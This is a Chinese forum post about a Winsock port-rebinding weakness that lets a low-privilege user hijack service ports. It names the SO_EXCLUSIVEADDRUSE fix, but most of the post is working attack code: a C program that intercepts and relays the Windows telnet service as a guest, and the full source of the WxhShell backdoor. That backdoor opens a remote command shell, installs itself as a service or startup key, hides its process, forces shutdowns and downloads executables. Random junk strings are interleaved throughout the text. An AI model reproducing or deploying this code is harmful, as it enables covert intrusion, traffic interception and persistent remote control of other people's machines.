-
UID:1177
-
- 注册时间2006-03-21
- 最后登录2009-03-24
- 在线时间675小时
-
- 发帖3743
- 搜Ta的帖子
- 精华
1
- 铜板8
- 人品值493
- 贡献值9
- 交易币0
- 好评度3746
- 信誉值0
- 金币0
-
访问TA的空间加好友用道具
- 发帖
- 3743
- 铜板
- 8
- 人品值
- 493
- 贡献值
- 9
- 交易币
- 0
- 好评度
- 3746
- 信誉值
- 0
- 金币
- 0
- 所在楼道
|
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Uy$)%dYfq5 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 4vwTs*eB` qcN'e.A saddr.sin_family = AF_INET; IEzaK MzL1Bh!M saddr.sin_addr.s_addr = htonl(INADDR_ANY); Cm\6tD 'CN|'W)g7 bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); B4mR9HMh V,G|k!! 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 QPfc(Z ?! `=X>5 这意味着什么?意味着可以进行如下的攻击: s%W<dDINl sx`O8t 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 L\#<JxY$p 3l#IPRn9AO 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) uxzze~_+C P<f5*L#HD 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 6C+"`(u%V )lZp9O 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 dx+hhg \L _C`K*u
6Z< 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Bn(W"=1 r}jGUe}d 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Yx>"bv oD$J0{K6 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 <Ce2r"U1e ,Bal #include &Y^WP?HS #include yn/rW$ #include th&[Nt7 #include ()3O=! DWORD WINAPI ClientThread(LPVOID lpParam); l!g]a2x* int main() |K|h+fgG6* { H(&4[%;MP WORD wVersionRequested; &Ky_v^ DWORD ret; f`&dQ,; WSADATA wsaData; ](^(=% BOOL val; as>L[jyG/ SOCKADDR_IN saddr; J|w)&bV SOCKADDR_IN scaddr; mI>,.&eo int err; Vl2XDkhq SOCKET s; [Ts"OPb%~ SOCKET sc; V@\%)J'g int caddsize; 8{Fsm;UsY HANDLE mt; }ga@/>Sl& DWORD tid; S*,rGCt'T wVersionRequested = MAKEWORD( 2, 2 ); w#g#8o>' err = WSAStartup( wVersionRequested, &wsaData ); P';?YV0 if ( err != 0 ) { @, W vvh printf("error!WSAStartup failed!\n"); %3$*K\Ai return -1; Vb'7> } Q;D0<Bv saddr.sin_family = AF_INET; U_{Ux2 K/}rP[H //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 bpxeznz E]6z8juO6 saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); NMi45y(Y saddr.sin_port = htons(23); bcZf>:gVf if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) jr`Es s { -c}, :G" printf("error!socket failed!\n"); +(+Itmx2& return -1; 7H|$4;X^ } 5Fz.Y} val = TRUE; =lu/9
i6 //SO_REUSEADDR选项就是可以实现端口重绑定的 @_LN3zP if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) g=e71DXG2 { <Engi! printf("error!setsockopt failed!\n"); tu5*Qp\ return -1; H~E(JLcU } 1Zi,b //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; nw6+.pOy //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 shMSN]S_x //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 A<B=f<N3gV 7k( Kq5w. if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) t&(PN%icD { gy;+_'.j ret=GetLastError(); :Pv*,qHE printf("error!bind failed!\n"); +d%L\^?F return -1; ]7Z{ 8)T } H`geS listen(s,2); >|Cw\^ while(1) W
mm4hkf { %.z,+Zz? caddsize = sizeof(scaddr); A?@@*$& //接受连接请求 WsDM{1c sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 1NcCy!+ if(sc!=INVALID_SOCKET) xrN
&N_K# { # (- Qx mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); U5r7j if(mt==NULL) Wy%s1iu { |qoKO:B4-[ printf("Thread Creat Failed!\n"); $\?yAE break; Rd>B0;4 } a:_I } M5trNSL&u CloseHandle(mt); A'%1ZQ33O } hbcuK& closesocket(s); "C*B,D*}: WSACleanup(); yu;SH[{Wi return 0; _kY#D;`:r } W.w)H@]7m DWORD WINAPI ClientThread(LPVOID lpParam) r
lKlpl { U`]T~9I SOCKET ss = (SOCKET)lpParam; G5FaYL.7 SOCKET sc; A%2:E^k(s unsigned char buf[4096]; gp-T"l SOCKADDR_IN saddr; nIvJrAm4k long num; Z'k|u4ZC DWORD val; 9Mgq1Z DWORD ret; d|iy#hy"_ //如果是隐藏端口应用的话,可以在此处加一些判断 Q*XE
h //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 q}FVzahv saddr.sin_family = AF_INET; aBzszp]l+ saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); @+WQ ^ saddr.sin_port = htons(23); ehA;i.n if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 42 \-~] { Nlj^Dm printf("error!socket failed!\n"); qSejLh6 return -1; F]I=+T } dHk{.n^p val = 100; GT J{h if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) {bPV)RL: { HQ9X7[3 ret = GetLastError(); rP(eva return -1; !(t,FYeH } ]1gx#y 2 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) YKa0H%B( { kHv[H]+v ret = GetLastError(); <s@-:;9~ return -1; O,.!2wVrN } I_q~*/<h if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ')N{wSM9Ft { A$WZF/x printf("error!socket connect failed!\n"); ~xIjF1Z closesocket(sc); Hp|}~xjn closesocket(ss); v0 Ir#B,[H return -1; ]p!Gt,rYq } -TV?E%r while(1) cc44R|Kr$$ { cUO<. //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 zT ZVehEe //如果是嗅探内容的话,可以再此处进行内容分析和记录 7_# 1Ec|; //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 4c+$%pq5 num = recv(ss,buf,4096,0);
^W7X(LQ*+ if(num>0) '>(.%@ send(sc,buf,num,0); j8K,jZ else if(num==0) Xo {`] break; #*>E*#?t num = recv(sc,buf,4096,0); ! <WBCclX if(num>0) ,Os? f:Y6 send(ss,buf,num,0); 7zTqNnPnf else if(num==0) n& $^04+i break; !JBae2Z } {5|("0[F closesocket(ss); |([R'Orm closesocket(sc); /1`cRyS return 0 ; }!TL2er_ } Bg8#qv C;~*pMAYe $Q+s/4\ ========================================================== wLV~F[:
~l~Tk6EM 下边附上一个代码,,WXhSHELL B[9 (FRX PNeh#PI6) ========================================================== 0W^dhYO {k(eNr, #include "stdafx.h" A*tKF&U5 2ij#
H
; #include <stdio.h> w-$[>R[hw #include <string.h> 8Q)@ #include <windows.h> 26n^Dy>} #include <winsock2.h> UMN*]_'+;b #include <winsvc.h> (.3'=n|kE #include <urlmon.h> CCDDK L]N: 4ujvD ^ #pragma comment (lib, "Ws2_32.lib") t_ur&.^SB #pragma comment (lib, "urlmon.lib") A`6ra}U<
)$Z(|M4 #define MAX_USER 100 // 最大客户端连接数 P;]F=m+*V #define BUF_SOCK 200 // sock buffer [hRU&z;W #define KEY_BUFF 255 // 输入 buffer :!zC"d9@ V,ZY*f0 #define REBOOT 0 // 重启 Ei({`^ #define SHUTDOWN 1 // 关机 23DJV);g8 s0hBbL0DH #define DEF_PORT 5000 // 监听端口 ;o<m}bGaT Tx%VU8\?n #define REG_LEN 16 // 注册表键长度 b @;.F!x #define SVC_LEN 80 // NT服务名长度 W0cgI9=9 %}>dqUyQ // 从dll定义API P6U%=xaC typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); AAUyy
: typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); efz&@|KR typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); G&f7+e typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); lnbmo Hv
FnHi(S|A // wxhshell配置信息 8X?>=tl struct WSCFG { %G3sjnI;l int ws_port; // 监听端口 )fU(AXSP char ws_passstr[REG_LEN]; // 口令 kD.pzxEM int ws_autoins; // 安装标记, 1=yes 0=no v$w++3H char ws_regname[REG_LEN]; // 注册表键名 #Tp]^
n char ws_svcname[REG_LEN]; // 服务名 Cpx+qQt0 char ws_svcdisp[SVC_LEN]; // 服务显示名 m|svQ-/j char ws_svcdesc[SVC_LEN]; // 服务描述信息 H'J|U| char ws_passmsg[SVC_LEN]; // 密码输入提示信息 %1:c hvS int ws_downexe; // 下载执行标记, 1=yes 0=no R
UTnc char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" qI3NkVA'C char ws_filenam[SVC_LEN]; // 下载后保存的文件名 G6`J1Uk V7t!?xOL }; +K6szGP #NRh\Wj| // default Wxhshell configuration dX
)W0 struct WSCFG wscfg={DEF_PORT, XT@Mzo49z\ "xuhuanlingzhe", '7Ig.K& 1, }{],GHCjQ "Wxhshell", >E"9*:.^a "Wxhshell", u2sR.%2U< "WxhShell Service", rU#li0
> "Wrsky Windows CmdShell Service", mxqG-*ch- "Please Input Your Password: ", UU@fkk 1, 8}BB OD " http://www.wrsky.com/wxhshell.exe", PoD^`()FR{ "Wxhshell.exe" '=cKU0
G # }; X,v4d~>] msk/p>{O // 消息定义模块 yi!`V. char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; keqcV23k char *msg_ws_prompt="\n\r? for help\n\r#>"; >[*4Tjg char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; %(LvE}[RJ char *msg_ws_ext="\n\rExit."; 2'{}<9 char *msg_ws_end="\n\rQuit."; </E>tMW char *msg_ws_boot="\n\rReboot..."; ^abD!8 char *msg_ws_poff="\n\rShutdown..."; i</J @0}y char *msg_ws_down="\n\rSave to "; @C.GKeM* Nw](". char *msg_ws_err="\n\rErr!"; C9KWa*3 char *msg_ws_ok="\n\rOK!"; S_8r\B[>P =3ADT$YHd char ExeFile[MAX_PATH]; AZZRa69= int nUser = 0; PJ 9%/Nrh HANDLE handles[MAX_USER]; E20 :uZ7\ int OsIsNt;
U w Eiz %%g-GyP
1 SERVICE_STATUS serviceStatus; {K7YTLWY SERVICE_STATUS_HANDLE hServiceStatusHandle; 0rzVy/Z( xFsmf< Vm // 函数声明 $3\yf?m}q int Install(void); F=&;Y@t int Uninstall(void); T{S4|G1R6 int DownloadFile(char *sURL, SOCKET wsh); QB 77:E int Boot(int flag); t =dO void HideProc(void); 8sw,k int GetOsVer(void); HcJE0-" int Wxhshell(SOCKET wsl); l
C\E void TalkWithClient(void *cs); i7eI=f-Q int CmdShell(SOCKET sock); W(&6 int StartFromService(void); 9qH[o?] int StartWxhshell(LPSTR lpCmdLine); +{rJ[J/g am:.NG+ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 8B@JFpg^ VOID WINAPI NTServiceHandler( DWORD fdwControl ); #/WAzYt{ A8dI:E+$ // 数据结构和表定义 =s[&;B`s SERVICE_TABLE_ENTRY DispatchTable[] = Gc;B[/: { cgyo_
k
{wscfg.ws_svcname, NTServiceMain}, 4 iH&:Al {NULL, NULL} v.`+I-\.z) }; .s};F/(diD iVeQ]k(u // 自我安装 $pFk"]= int Install(void) ex phe+b { Kpg:yrc[' char svExeFile[MAX_PATH]; oBw}hH,hp HKEY key; n>llSK strcpy(svExeFile,ExeFile); ?~)Ak`= 0>Fqx{!heq // 如果是win9x系统,修改注册表设为自启动 Vj!WaN_ if(!OsIsNt) { %N{sD[^ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { t:9
ZCu ay RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); k!13=Gh RegCloseKey(key); fq Y1ggL if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3'@&c?Fye RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $Q4=37H+ RegCloseKey(key); pbdF]>\ return 0; #`j][F@N } ]<X2AO1 } WF)s*$'uz; } 4e/cqN6 else { sV'v*
1| 9Dq.lr^ // 如果是NT以上系统,安装为系统服务 U_*3>Q SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); yqBa_XPV8 if (schSCManager!=0) l"L+e! B~ { >a9l>9fyY SC_HANDLE schService = CreateService I Tn;m ( [|<EDR schSCManager, 0Bu*g LY wscfg.ws_svcname, kJeu40oN wscfg.ws_svcdisp, 6J;i,/ky SERVICE_ALL_ACCESS, :A*0 ]X; SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 6EP~F8Kd SERVICE_AUTO_START, +:y&{K SERVICE_ERROR_NORMAL, lA4hm4"i(, svExeFile, 9}XT'+`y NULL, O0zi@2m?B NULL, VIYV92[ NULL, ux&:Rw\ NULL, ) MBS NULL k.{G&]r{ ); M8Juykw if (schService!=0) gA:[3J,[; { O=`o'%K< CloseServiceHandle(schService); iUCwKpb9 CloseServiceHandle(schSCManager); U IQ 6SvM strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); e/P4mc) strcat(svExeFile,wscfg.ws_svcname); CKN8z if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { )rbc;{. RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); zf7rF} RegCloseKey(key); :f]!O@.~ return 0; 7%YYr^d } kc|>Q7~{ } wXcMt>3 CloseServiceHandle(schSCManager); :o<N!*pT } <>&89E%j' } c&A]pLn+x z0;9SZ9 return 1; s+N^PX3 } }8
\|1@09 uegb;m // 自我卸载 @LHtt/& int Uninstall(void) F_ _H(}d { mf~Lzp HKEY key; x57'Cg \ -sx-7LKi if(!OsIsNt) { y\@SC\jk| if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <%/:w/ RegDeleteValue(key,wscfg.ws_regname); tPzM7
n| RegCloseKey(key); "&Ff[O* if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6yp+h RegDeleteValue(key,wscfg.ws_regname); W'd/dKUx RegCloseKey(key); oX#9RW/ >I return 0; -P*xyI } -D;lS
6 } jvWI_Fto } 7Qt2gf else { &E`9>&~J GP Ix@k SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); tgK x 4 if (schSCManager!=0) +RdI;QmM { EuLXtq SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); A
mvw`u> if (schService!=0) 0|GpZuGO9 { :(+]b if(DeleteService(schService)!=0) { b%<16 4i CloseServiceHandle(schService);
srvYAAE CloseServiceHandle(schSCManager); |
[p68v> return 0; :"y0oCu7`W } OM1*Iy CloseServiceHandle(schService); m^5s>hUl } /AoVl'R CloseServiceHandle(schSCManager); |z T%$ } *WD;C0?z } Plb}dID" 5nY9Ls(e return 1; CN-4- } H
kSL5@ 8~}s 3j4 // 从指定url下载文件 H'D#s;SlR int DownloadFile(char *sURL, SOCKET wsh) BQE{ { .Dc28F~t HRESULT hr; ~NA1SZ{Y+ char seps[]= "/"; _jiQL66pY char *token; m\/>C|f\ char *file; R9bhC9NP char myURL[MAX_PATH]; <r0.ppgY char myFILE[MAX_PATH]; TLXhE(o|o 9=H}yiJz strcpy(myURL,sURL); r+SEw ; token=strtok(myURL,seps); 'n>EEQyp' while(token!=NULL) `D4oAx d9 { `!] R!T@C file=token; >7"$}5d token=strtok(NULL,seps); "^Y6ctw } }7-7t{G `Fz\wPd GetCurrentDirectory(MAX_PATH,myFILE); p| Vmdnb strcat(myFILE, "\\"); ;HR 6X strcat(myFILE, file); VjC*(6<Gj send(wsh,myFILE,strlen(myFILE),0); 7 kEx48 send(wsh,"...",3,0); /A0 [_ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); h=!M6yap< if(hr==S_OK) :
x>I-
3G return 0; P"oYC$ else f<'n5}{RO0 return 1; a$~IQ2$|6 E(7@'d{o } B:B8"ODV B{[f}h.n // 系统电源模块 R|nEd/'< int Boot(int flag) ~?2rGE { #Tup]czO HANDLE hToken; /A%om|+Gq TOKEN_PRIVILEGES tkp; ?s1u#'aO s*aH`M7^0
if(OsIsNt) { )3BR[*u* OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); =X)Q7u".7 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ,Le&I9*% tkp.PrivilegeCount = 1; Y;'VosTD tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; F_ ,L2J AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ;r g H}r if(flag==REBOOT) { x-w`KFS if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) j2< !z;2 return 0; eo>/ } dCa}ITg else { [q|?f?Zl if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) cWgbd^J return 0; unC t4uX^ } Vf"O/o}hq, } x{=[w` else { ERUs0na] if(flag==REBOOT) { z0\;m{TH if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) GS$ZvO return 0; c1pq]mz|z } 4 *Bp else { P%.`c?olbs if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) L2[Ei|9_ return 0; 6U;Jg_zS } 9@$tiDV } #H'sZv "Czz,;0 return 1; fR+Ov8PCq } 73'U#@g6 R4&|t // win9x进程隐藏模块 X{5v?4wI void HideProc(void) 7JxE|G { #[gcg]6c WF+bN#YJ HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); B
rez&3[ if ( hKernel != NULL ) cmwzKu% { 34X(J-1\|i pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); f}L>&^I) ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); u@GRN`yn FreeLibrary(hKernel); nQ:ml } *,O
:>Z5I v< 65(I> return; TSc~$Q] } }}kS~
w-# a)I=U[ // 获取操作系统版本 `ENlV9 int GetOsVer(void) 7V9%)%=h| { gi1}5DR OSVERSIONINFO winfo; wJapGc! winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); O\|C,Epm GetVersionEx(&winfo); XV74Fl if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) s[0prm5. return 1; I}*]m%'-Y else r~S!<9f return 0; E[SV*1) } L #t-KLJ ^
I{R[O'8 // 客户端句柄模块 LV}UBao5n int Wxhshell(SOCKET wsl) H]%mP| { ir?Uw:/f SOCKET wsh; "-0pz\a struct sockaddr_in client; N:UDbLjw~ DWORD myID; ?=/}Ft qB+:#Yrx/ while(nUser<MAX_USER) ?:#>^eWYe7 { (5f5P84x int nSize=sizeof(client); Q9Y9{T wsh=accept(wsl,(struct sockaddr *)&client,&nSize); "}]GQt< F if(wsh==INVALID_SOCKET) return 1; vSyi}5D NPB ,q& Th handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 8I5 VrT if(handles[nUser]==0) "6`)vgI~ closesocket(wsh); wu&|~@_s@ else 'T&=$9g7 nUser++; ? e9XVQ* } P+*rWJ8gQ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); y]z)jqX< ?1-n\ka return 0; ="#:=i] } Y\z^\k zVc7q7E // 关闭 socket \,@Yl.,+ void CloseIt(SOCKET wsh) V'HlAQr { #VQGN2bK. closesocket(wsh); '-nuH;r nUser--; Ovaj":L ExitThread(0); +eV4g2w) } By51dk7 S5*~r@8h // 客户端请求句柄 *0Wi^f void TalkWithClient(void *cs) H}jK3;8E { 1A`?y&
Ll 6]@|7|N>X SOCKET wsh=(SOCKET)cs; fwnYzd3 char pwd[SVC_LEN]; dCoi>PO char cmd[KEY_BUFF]; |mQtjo char chr[1]; )"pxry4v7J int i,j; ery?G- ZZ]OR;8 while (nUser < MAX_USER) { >'2w\Uk~: UgnsV*e & if(wscfg.ws_passstr) { 7{kpx$:_ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); QigoRB!z#9 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); lt2Nwt0bv //ZeroMemory(pwd,KEY_BUFF); Y1Gg (z i=0; Rktn/Vi while(i<SVC_LEN) { <u x*r#a!d {d?4;Kd // 设置超时 ,#'o)O# fd_set FdRead; xnhDW7m struct timeval TimeOut; JucxhjV#, FD_ZERO(&FdRead); !q=Q~ea FD_SET(wsh,&FdRead); bzj!d|T` TimeOut.tv_sec=8; +>i<sk TimeOut.tv_usec=0; )bIK0h int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); S}v{^vR if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); l_YdIUl ?*z(1!
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 02J6Pn3 pwd =chr[0]; .J1Hg if(chr[0]==0xd || chr[0]==0xa) { 0ez
i?Um pwd=0; aoakTi!} break; y-) +I<M } a'>$88tl i++; +EiUAs~H } -}N\REXE } TX'Z?Lq // 如果是非法用户,关闭 socket D|Ih e%w- if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); <R`,zE@t'( } ku[=QsMv X>@.-{6T send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); iu6WGmR send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); tXG4A$(2& H s4zJk while(1) { Qq FfR# xV n]m9i ZeroMemory(cmd,KEY_BUFF); !s[j1=y 6(<~1{
X% // 自动支持客户端 telnet标准 ]=86[A-2N j=0; UTK.tg while(j<KEY_BUFF) { '+q' H if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); sw qky5_K cmd[j]=chr[0]; E/L?D if(chr[0]==0xa || chr[0]==0xd) { P=SxiXsr$ cmd[j]=0; 9a~BAH,j break; 6ImV5^l } &;@b&p+ j++; Vm1 c-,)3 } )ejXeg &PQ{e8w // 下载文件 e/HX,sf_g if(strstr(cmd,"http://")) { ZAo)_za&mH send(wsh,msg_ws_down,strlen(msg_ws_down),0); Y%?!AmER if(DownloadFile(cmd,wsh)) $ Pb[c%' send(wsh,msg_ws_err,strlen(msg_ws_err),0); qLW-3W;WUH else X $9D0;L send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); RSWB!- } c;|&>Fp else { k0e|8g X $OFFH[_z switch(cmd[0]) { #;*ai\6>vD C O%O<_C // 帮助 (krG0S:0Q case '?': { RH'F<!p send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); *(SBl}f4l break; A$"$`)P! } #u=O 5%. // 安装 wmcp`8w. case 'i': { 85@6uBh if(Install()) 8DS5< send(wsh,msg_ws_err,strlen(msg_ws_err),0); knK=ENf;e else Y`O}]*{>8R send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y)j,(9 break; 5$"[gdt)T } {8bY7NH| // 卸载 Bzy=@]` case 'r': { "RJk7]p`* if(Uninstall()) TcKKI send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7E6?)bgh else 2,e|,N"zN send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |xgCV@ break; 8H`l" } 1yRd10 // 显示 wxhshell 所在路径 l;VGJMPi case 'p': { (b2^d char svExeFile[MAX_PATH]; pu)9"Ad[ G strcpy(svExeFile,"\n\r"); BK\~I strcat(svExeFile,ExeFile); "$"mWF- send(wsh,svExeFile,strlen(svExeFile),0); tAu|8aL break; B?YfOSF=5 } W%XS0k}x // 重启 ?oDfI case 'b': { l'{goy f send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Y)5uK:)^ if(Boot(REBOOT)) rnBeL _8 C send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3^-)gK else { /G{3p&9 closesocket(wsh); y $DB ExitThread(0); |b;M5w? } ; o@`l$O break; H=BR
- } j83Y'VJJC // 关机 =$zr
t case 'd': { A`/7>'k/q[ send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); "u]Fl+c if(Boot(SHUTDOWN)) 8}0y)aJ send(wsh,msg_ws_err,strlen(msg_ws_err),0); wG[l9)lz else { F5Q. Vh closesocket(wsh); ?'#;Y"RT ExitThread(0); (X7yNIPfA } ~t3?er& R break; MmX[xk } ^A<.s_ // 获取shell k 5r*?Os case 's': { u]-El}*[ CmdShell(wsh); -^
ayJ73 closesocket(wsh); N)y;owgo ExitThread(0); k+G4<qw break; XUNgt(OGR' } vCo}-b-j // 退出 "lzg@=$|) case 'x': { g\nL
n# send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ?iO^b.'I# CloseIt(wsh); H.~+{jTr break; I,?LZ_pK } ^O:RS
g9 // 离开 ]
r+I D case 'q': { 2xBGs9_Y send(wsh,msg_ws_end,strlen(msg_ws_end),0); JJOs
L!@ closesocket(wsh); 2-2LmxLG WSACleanup(); 3lgyX/?o exit(1); h4xdE0 break; UiN ^x } by ee-BU } F+-MafN7Y } 2p.+C35c=j 8>+eGz| // 提示信息 dM.Ow!j if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1L9
<1 } EHJc*WFPU- } iv`-)UsE au~gJW- return; >(Ddw N9l } jXva?_ gz:c_HJ // shell模块句柄 g@i
4H[k int CmdShell(SOCKET sock) 1:V/['|*g) { 6UP3Ij STARTUPINFO si; hrxASAfg6 ZeroMemory(&si,sizeof(si)); Du4?n8 o si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; L7="! I si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 3CL:VwoW PROCESS_INFORMATION ProcessInfo; RS=7W._W char cmdline[]="cmd"; fP*C*4#X CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); j+v)I= return 0; X,Q(W0-6$u } %j`]x
